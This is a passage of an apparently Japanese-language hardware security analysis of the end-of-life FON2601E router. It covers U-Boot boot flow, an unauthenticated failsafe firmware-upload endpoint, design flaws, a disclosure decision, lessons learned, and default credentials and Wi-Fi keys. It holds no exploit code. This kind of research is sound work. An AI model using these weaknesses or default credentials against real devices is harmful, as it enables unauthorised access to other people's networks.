xmpp.fwteam.fon.com | XMPP (5222) | \u5e38\u6642\u63a5\u7d9aC2\u30c1\u30e3\u30cd\u30eb |\n| a/b.%s.ra.fon.com | RADIUS (1812/1813) | \u30db\u30c3\u30c8\u30b9\u30dd\u30c3\u30c8\u8a8d\u8a3c |\n| a/b.%s.lns.fon.com | L2TP | VPN\u30c8\u30f3\u30cd\u30eb |\n| ntp1/2.service.fon.com | NTP (MD5\u8a8d\u8a3c) | \u6642\u523b\u540c\u671f |\n| s.portal.fon.com | HTTPS | \u30ad\u30e3\u30d7\u30c6\u30a3\u30d6\u30dd\u30fc\u30bf\u30eb |\n\n---\n\n## 6. U-Boot\u89e3\u6790\n\n### 6-1. \u6982\u8981\n\nFXC-U-Boot 3.6.0.0\uff08Foxconn/Ralink \u30ab\u30b9\u30bf\u30e0\u30d3\u30eb\u30c9\u30012013\u5e74\uff09\u3092\u642d\u8f09\u3002\u6a19\u6e96U-Boot\u3068\u306f\u7570\u306a\u308b\u72ec\u81ea\u306e\u30d6\u30fc\u30c8\u30b7\u30fc\u30b1\u30f3\u30b9\u3092\u6301\u3064\u3002\n\n### 6-2. \u30d6\u30fc\u30c8\u30b7\u30fc\u30b1\u30f3\u30b9\n\n```\n\u96fb\u6e90\u6295\u5165\n  \u2193\nMT7620A\u5185\u8535ROM \u2192 SPI Flash\u5148\u982d\uff08mtd0\uff09\u3092\u30ed\u30fc\u30c9\n  \u2193\nU-Boot\u521d\u671f\u5316\uff08DRAM\u521d\u671f\u5316\u30fbSPI\u8a2d\u5b9a\uff09\n  \u2193\nmtd1\uff08u-boot-env\uff09\u3092\u8aad\u307f\u8fbc\u307f\u3001Image1Try/Stable\u3092\u78ba\u8a8d\n  \u2193 \u6bce\u8d77\u52d5\u6642\u306bmtd1\u3092\u6d88\u53bb\u30fb\u66f8\u304d\u76f4\u3057\uff08\u30d6\u30fc\u30c8\u30ab\u30a6\u30f3\u30bf\u66f4\u65b0\uff09\n  \u2193\n\u6b63\u5e38\u7cfb: firmware\uff08mtd3\uff09\u3092SDRAM(0x80100000)\u306b\u30ed\u30fc\u30c9 \u2192 kernel\u8d77\u52d5\n\u7570\u5e38\u7cfb: \"Fon enter the failsafe mode\" \u2192 HTTP Failsafe UI\u8d77\u52d5\n```\n\n### 6-3. A/B\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u6a5f\u69cb\n\nmtd1\u306e`Image1Try`\u3068`Image1Stable`\u3067\u30d6\u30fc\u30c8\u8a66\u884c\u3092\u7ba1\u7406\u3059\u308b\u3002\n\n```\nImage1Try    = 33  \uff08\u4eca\u56de\u78ba\u8a8d\u5024\uff09\nImage1Stable = 1   \uff08\u5b89\u5b9a\u7248\u30d5\u30e9\u30b0\uff09\n```\n\nU-Boot\u306f\u6bce\u8d77\u52d5\u6642\u306bmtd1\u3092\u6d88\u53bb\u30fb\u66f8\u304d\u8fbc\u307f\u3059\u308b\u305f\u3081\u3001NOR Flash\u306e\u66f8\u304d\u63db\u3048\u8010\u6027\u3092\u6d88\u8cbb\u3059\u308b\u3002\n\n### 6-4. Failsafe HTTP\u30b5\u30fc\u30d0\u30fc\n\n\u30d6\u30fc\u30c8\u5931\u6557\u6642\u306bU-Boot\u304c\u8d77\u52d5\u3059\u308bHTTP\u30b5\u30fc\u30d0\u30fc\uff08uIP\u30d9\u30fc\u30b9\uff09\uff1a\n\n- \u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8: `POST /cgi/index`\uff08multipart/form-data\uff09\n- \u8a8d\u8a3c: **\u306a\u3057**\uff08User-Agent/Referer\u306e\u30c1\u30a7\u30c3\u30af\u306e\u307f\uff09\n- \u691c\u8a3c: CRC32\u30c1\u30a7\u30c3\u30af\u30b5\u30e0\u306e\u307f\uff08\u6697\u53f7\u7f72\u540d\u306a\u3057\uff09\n- \u30a2\u30af\u30bb\u30b9: LAN\u5074\uff08192.168.0.1\uff09\u306e\u307f\n\n\u8a8d\u8a3c\u306a\u3057\u3067\u4efb\u610f\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u304c\u53ef\u80fd\u306a\u8a2d\u8a08\u3002Failsafe\u30e2\u30fc\u30c9\u7a81\u5165\u6761\u4ef6\u3068\u7269\u7406\u7684\u306aLAN\u30a2\u30af\u30bb\u30b9\u304c\u5fc5\u8981\u306a\u305f\u3081\u3001\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u76f4\u63a5\u653b\u6483\u306f\u56f0\u96e3\u3002\n\n### 6-5. \u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u30e2\u30fc\u30c9\u3078\u306e\u4ecb\u5165\n\nbootdelay=2\u306e\u9593\u306b\u4efb\u610f\u306e\u30ad\u30fc\u3092\u5165\u529b\u3059\u308b\u3068\u30d6\u30fc\u30c8\u30e1\u30cb\u30e5\u30fc\u304c\u8868\u793a\u3055\u308c\u308b\u3002\u30e1\u30cb\u30e5\u30fc\u304b\u3089\u300c4: Enter boot command line interface\u300d\u3067U-Boot\u30d7\u30ed\u30f3\u30d7\u30c8\uff08`MT7620 #`\uff09\u306b\u5165\u308c\u308b\u3002\n\n---\n\n## 7. \u30c7\u30d0\u30a4\u30b9\u30c4\u30ea\u30fc\uff08DTB\uff09\u306e\u975e\u5b58\u5728\u306b\u3064\u3044\u3066\n\n\u672c\u30c7\u30d0\u30a4\u30b9\u306fLinux 3.3.8\uff082016\u5e74\u30d3\u30eb\u30c9\uff09\u3092\u4f7f\u7528\u3057\u3066\u304a\u308a\u3001MIPS/Ralink\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u3078\u306eDevice Tree\u79fb\u884c\uff08Linux 4.x\u4ee5\u964d\uff09\u304c\u884c\u308f\u308c\u308b\u524d\u306e\u30d3\u30eb\u30c9\u3067\u3042\u308b\u3002DTB\u306f\u5b58\u5728\u305b\u305a\u3001\u30dc\u30fc\u30c9\u60c5\u5831\u306f\u30ab\u30fc\u30cd\u30eb\u306eplatform data\uff08C\u30bd\u30fc\u30b9\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\uff09\u3068\u3057\u3066\u7d44\u307f\u8fbc\u307e\u308c\u3066\u3044\u308b\u3002\n\n\u30dc\u30fc\u30c9\u60c5\u5831\u306e\u53d6\u5f97\u306f\u4ee5\u4e0b\u306e\u624b\u6bb5\u3067\u88dc\u5b8c\u3057\u305f\uff1a\n\n1. **dmesg**: MMIO\u30a2\u30c9\u30ec\u30b9\u30fb\u30c9\u30e9\u30a4\u30d0\u540d\u30fbGPIO\u767b\u9332\u60c5\u5831\n2. **OpenWrt DTS** (`mt7620a_fon_fon2601.dts`): GPIO/LED/\u30b9\u30a4\u30c3\u30c1\u5b9a\u7fa9\n3. **board.d \u30b9\u30af\u30ea\u30d7\u30c8**: MAC\u30a2\u30c9\u30ec\u30b9\u751f\u6210\u30ed\u30b8\u30c3\u30af\u30fbEEPROM\u30aa\u30d5\u30bb\u30c3\u30c8\n4. **`/sys/kernel/debug/gpio`**: \u5b9f\u6a5fGPIO\u756a\u53f7\u306e\u78ba\u5b9a\n\n---\n\n## 8. \u7dcf\u8a55\u3068\u8003\u5bdf\n\n### 8-1. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u8a08\u4e0a\u306e\u554f\u984c\u70b9\n\n**\u6839\u672c\u539f\u56e0\u306f\u300c\u4fe1\u983c\u306e\u5883\u754c\u300d\u306e\u8a2d\u8a08\u30df\u30b9\u306b\u3042\u308b\u3002**\n\nFON2601E\u306f\u300cFON\u30db\u30c3\u30c8\u30b9\u30dd\u30c3\u30c8\u30eb\u30fc\u30bf\u300d\u3068\u3057\u3066\u8a2d\u8a08\u3055\u308c\u3066\u304a\u308a\u3001FON\u306e\u30af\u30e9\u30a6\u30c9\u30a4\u30f3\u30d5\u30e9\uff08ACS/XMPP\uff09\u304b\u3089\u306e\u7ba1\u7406\u3092\u524d\u63d0\u3068\u3057\u305f\u8a2d\u8a08\u306b\u306a\u3063\u3066\u3044\u308b\u3002\u3053\u306e\u8a2d\u8a08\u601d\u60f3\u81ea\u4f53\u304c\u4ee5\u4e0b\u306e\u554f\u984c\u3092\u5185\u5305\u3057\u3066\u3044\u308b\u3002\n\n1. **\u8a8d\u8a3c\u306e\u4e00\u5143\u5316**: \u30c7\u30d0\u30a4\u30b9\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u304cACS\u30b5\u30fc\u30d0\u30fc\u306e\u5b89\u5168\u6027\u306b\u4f9d\u5b58\u3057\u3066\u3044\u308b\u3002ACS\u30b5\u30fc\u30d0\u30fc\u304c\u4fb5\u5bb3\u3055\u308c\u308c\u3070\u5168\u53f0\u304c\u653b\u6483\u5bfe\u8c61\u306b\u306a\u308b\u3002\n\n2. **\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u306e\u653e\u7f6e**: `admin/admin`\u3068\u3044\u3046\u30c7\u30d5\u30a9\u30eb\u30c8\u8a8d\u8a3c\u60c5\u5831\u3092\u5f37\u5236\u5909\u66f4\u3055\u305b\u308b\u4ed5\u7d44\u307f\u304c\u306a\u3044\u3002FON\u306e\u30af\u30e9\u30a6\u30c9\u3067\u7ba1\u7406\u3059\u308b\u3053\u3068\u3092\u524d\u63d0\u3068\u3057\u3066\u3044\u308b\u305f\u3081\u3001\u30ed\u30fc\u30ab\u30eb\u306e\u8a8d\u8a3c\u60c5\u5831\u7ba1\u7406\u304c\u758e\u304b\u306b\u306a\u3063\u3066\u3044\u308b\u3002\n\n3. **telnetd\u306e\u5e38\u6642\u8d77\u52d5**: SSH\u304c\u5b9f\u88c5\u3055\u308c\u3066\u304a\u3089\u305a\u3001\u6697\u53f7\u5316\u3055\u308c\u3066\u3044\u306a\u3044telnet\u304c\u5168\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3067\u7a3c\u50cd\u3057\u3066\u3044\u308b\u30022016\u5e74\u6642\u70b9\u3067\u3082\u554f\u984c\u306e\u3042\u308b\u8a2d\u8a08\u5224\u65ad\u3067\u3042\u308b\u3002\n\n4. **\u8a2d\u5b9a\u5024\u306e\u904e\u4fe1**: UCI\u304b\u3089\u8aad\u3093\u3060\u5024\u3092\u300c\u4fe1\u983c\u3067\u304d\u308b\u30c7\u30fc\u30bf\u300d\u3068\u3057\u3066\u6271\u3044\u3001\u30b7\u30a7\u30eb\u30b3\u30de\u30f3\u30c9\u306b\u30b5\u30cb\u30bf\u30a4\u30ba\u306a\u3057\u3067\u6e21\u3057\u3066\u3044\u308b\u3002\u3053\u308c\u306f\u300c\u8a2d\u5b9a\u3078\u306e\u66f8\u304d\u8fbc\u307f\u30a2\u30af\u30bb\u30b9 = \u4efb\u610f\u30b3\u30de\u30f3\u30c9\u5b9f\u884c\u300d\u3068\u3044\u3046\u7b49\u4fa1\u6027\u3092\u751f\u307f\u51fa\u3057\u3066\u3044\u308b\u3002\n\n### 8-2. \u958b\u793a\u5224\u65ad\n\n\u672c\u89e3\u6790\u3067\u767a\u898b\u3057\u305f\u554f\u984c\u306b\u3064\u3044\u3066\u3001IPA\uff08\u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb\uff09\u3078\u306e\u5c4a\u51fa\u306e\u8981\u5426\u3092\u691c\u8a0e\u3057\u305f\u7d50\u679c\u3001\u4ee5\u4e0b\u306e\u7406\u7531\u304b\u3089\u5c4a\u51fa\u306f\u4e0d\u8981\u3068\u5224\u65ad\u3057\u305f\u3002\n\n- CVE-2019-6015\u306f\u65e2\u5831\u306e\u8106\u5f31\u6027\u3067\u3042\u308b\n- FON\u793e\u306f\u30b5\u30fc\u30d3\u30b9\u7d42\u4e86\uff08EOL\uff09\u3057\u3066\u304a\u308a\u3001\u30d1\u30c3\u30c1\u63d0\u4f9b\u4e3b\u4f53\u304c\u5b58\u5728\u3057\u306a\u3044\n- dnsmasq.conf\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306fUCI\u306e\u5236\u7d04\u306b\u3088\u308a\u73fe\u5b9f\u306e\u653b\u6483\u7d4c\u8def\u304c\u6210\u7acb\u3057\u306a\u3044\n- \u305d\u306e\u4ed6\u306e\u554f\u984c\u306f\u300c\u8a8d\u8a3c\u6e08\u307f\u7ba1\u7406\u8005\u306e\u64cd\u4f5c\u7bc4\u56f2\u5185\u300d\u3067\u3042\u308a\u3001\u8106\u5f31\u6027\u3068\u3057\u3066\u6210\u7acb\u3057\u306a\u3044\n\n\u305f\u3060\u3057\u3001**\u540c\u69d8\u306e\u8a2d\u8a08\u3092\u73fe\u5f79\u88fd\u54c1\u306b\u63a1\u7528\u3057\u3066\u3044\u308b\u30d9\u30f3\u30c0\u30fc**\u304c\u5b58\u5728\u3059\u308b\u5834\u5408\u306f\u3001OpenWrt\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3078\u306eissue\u5831\u544a\u3092\u691c\u8a0e\u3059\u308b\u4f59\u5730\u304c\u3042\u308b\u3002\n\n### 8-3. \u6559\u8a13\n\n\u672c\u89e3\u6790\u3092\u901a\u3058\u3066\u5f97\u3089\u308c\u305f\u8a2d\u8a08\u4e0a\u306e\u6559\u8a13\u3092\u4ee5\u4e0b\u306b\u793a\u3059\u3002\n\n| \u6559\u8a13 | \u8a73\u7d30 |\n|---|---|\n| \u30c7\u30d5\u30a9\u30eb\u30c8\u8a8d\u8a3c\u60c5\u5831\u306e\u6392\u9664 | \u5de5\u5834\u51fa\u8377\u6642\u306b\u30c7\u30d0\u30a4\u30b9\u3054\u3068\u306e\u30e9\u30f3\u30c0\u30e0\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u8a2d\u5b9a\u3059\u308b |\n| \u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247 | \u5168\u30d7\u30ed\u30bb\u30b9\u304croot\u3067\u52d5\u4f5c\u3057\u3066\u3044\u308b\u3002\u30b5\u30fc\u30d3\u30b9\u3054\u3068\u306b\u6a29\u9650\u3092\u5206\u96e2\u3059\u3079\u304d |\n| \u6697\u53f7\u5316\u901a\u4fe1\u306e\u5fc5\u9808\u5316 | telnet\u3067\u306f\u306a\u304fdropbear(SSH)\u3092\u6a19\u6e96\u642d\u8f09\u3059\u3079\u304d |\n| \u8a2d\u5b9a\u5024\u306e\u30b5\u30cb\u30bf\u30a4\u30ba | UCI\u304b\u3089\u8aad\u3093\u3060\u5024\u3082\u30b7\u30a7\u30eb\u30b3\u30de\u30f3\u30c9\u3078\u306e\u5165\u529b\u524d\u306b\u691c\u8a3c\u3059\u308b |\n| \u30af\u30e9\u30a6\u30c9\u4f9d\u5b58\u30ea\u30b9\u30af | ACS\u30b5\u30fc\u30d0\u30fc\u7b49\u306e\u4e2d\u592e\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u4f9d\u5b58\u306f\u30ea\u30b9\u30af\u96c6\u4e2d\u3092\u62db\u304f |\n\n---\n\n## \u4ed8\u9332A: \u53d6\u5f97\u3057\u305f\u30c0\u30f3\u30d7\u30d5\u30a1\u30a4\u30eb\u306eMD5\u30c1\u30a7\u30c3\u30af\u30b5\u30e0\n\n| \u30d5\u30a1\u30a4\u30eb | \u30b5\u30a4\u30ba | MD5 |\n|---|---|---|\n| mtd0_uboot.bin | 196,608 B | 32f47fcb7e15d5b9f94b36d6f223485b |\n| mtd1_uboot_env.bin | 65,536 B | b0085dd2aa9366b5e5ed998cf8b89d3b |\n| mtd2_factory.bin | 65,536 B | 29c0b58d7b3fec784852d4089b8a4610 |\n| mtd3_firmware.bin | 16,318,464 B | 7fc3c794e8b80ef4331b43ae0bdd9d3c |\n| mtd6_rootfs_data.bin | 10,747,904 B | 8f2b4e3921bb201f67f6155c508b8db0 |\n| mtd7_config.bin | 65,536 B | b0d353bec108eb99e7856bbe677c567d |\n| mtd8_radconfig.bin | 65,536 B | ecb99e6ffea7be1e5419350f725da86b |\n\n## \u4ed8\u9332B: \u8d77\u52d5\u30b5\u30fc\u30d3\u30b9\u4e00\u89a7\uff08rc.d\u304b\u3089\u62bd\u51fa\uff09\n\n| \u8d77\u52d5\u9806 | \u30b5\u30fc\u30d3\u30b9 | \u7528\u9014 |\n|---|---|---|\n| S10 | boot | \u30d6\u30fc\u30c8\u521d\u671f\u5316 |\n| S12 | ubus | IPC\u57fa\u76e4 |\n| S13 | ledd | LED\u5236\u5fa1 |\n| S19 | firewall | iptables\u8a2d\u5b9a |\n| S20 | configurator | FON\u8a2d\u5b9a\u7ba1\u7406 |\n| S21 | ideafixd | DNS\u7ba1\u7406\u30c7\u30fc\u30e2\u30f3 |\n| S21 | network | \u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u8a2d\u5b9a |\n| S22 | dnsmasq | DNS/DHCP\u30b5\u30fc\u30d0\u30fc |\n| S22 | rpcd | RPC\u30c7\u30fc\u30e2\u30f3 |\n| S23 | cronosd | FON\u72ec\u81eacron |\n| S24 | mdnsd | mDNS |\n| S25 | buttond | \u7269\u7406\u30dc\u30bf\u30f3\u7ba1\u7406 |\n| S28 | inetcheckd | \u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u758e\u901a\u78ba\u8a8d |\n| S29 | anetd | FON\u72ec\u81ea\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u7ba1\u7406 |\n| S36 | hotspotd | \u30db\u30c3\u30c8\u30b9\u30dd\u30c3\u30c8\u7ba1\u7406 |\n| S37 | freecwmp2 | TR-069 CPE\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 |\n| S50 | telnet | telnetd\uff0823/TCP\uff09 |\n| S50 | uhttpd | WebUI\uff0880/TCP\uff09 |\n| S55 | xmppclient | XMPP\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 |\n| S60 | ntpdate | NTP\u6642\u523b\u540c\u671f |\n| S97 | watchdog | \u30a6\u30a9\u30c3\u30c1\u30c9\u30c3\u30b0 |\n\n## \u4ed8\u9332C: \u30c7\u30d5\u30a9\u30eb\u30c8SSID\u8a2d\u5b9a\n\n| \u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9 | SSID | \u6697\u53f7 | \u30c7\u30d5\u30a9\u30eb\u30c8\u30ad\u30fc |\n|---|---|---|---|\n| 2.4GHz private (ra3) | MyPlace_FON2601 | psk2+aes | 0123456789 |\n| 2.4GHz hotspot (ra1) | FFI_FON2601 | none | - |\n| 2.4GHz hotspot-eap (ra2) | FFE_FON2601 | eap | - |\n| 5GHz private | MyPlace5_FON2601 | psk2+aes | 0123456789 |\n| 5GHz hotspot | FFI5_FON2601 | none | - |\n| 5GHz hotspot-eap | FFE5_FON2601 | eap | - |\n\n", "creation_timestamp": "2026-07-25T16:58:07.441096Z"}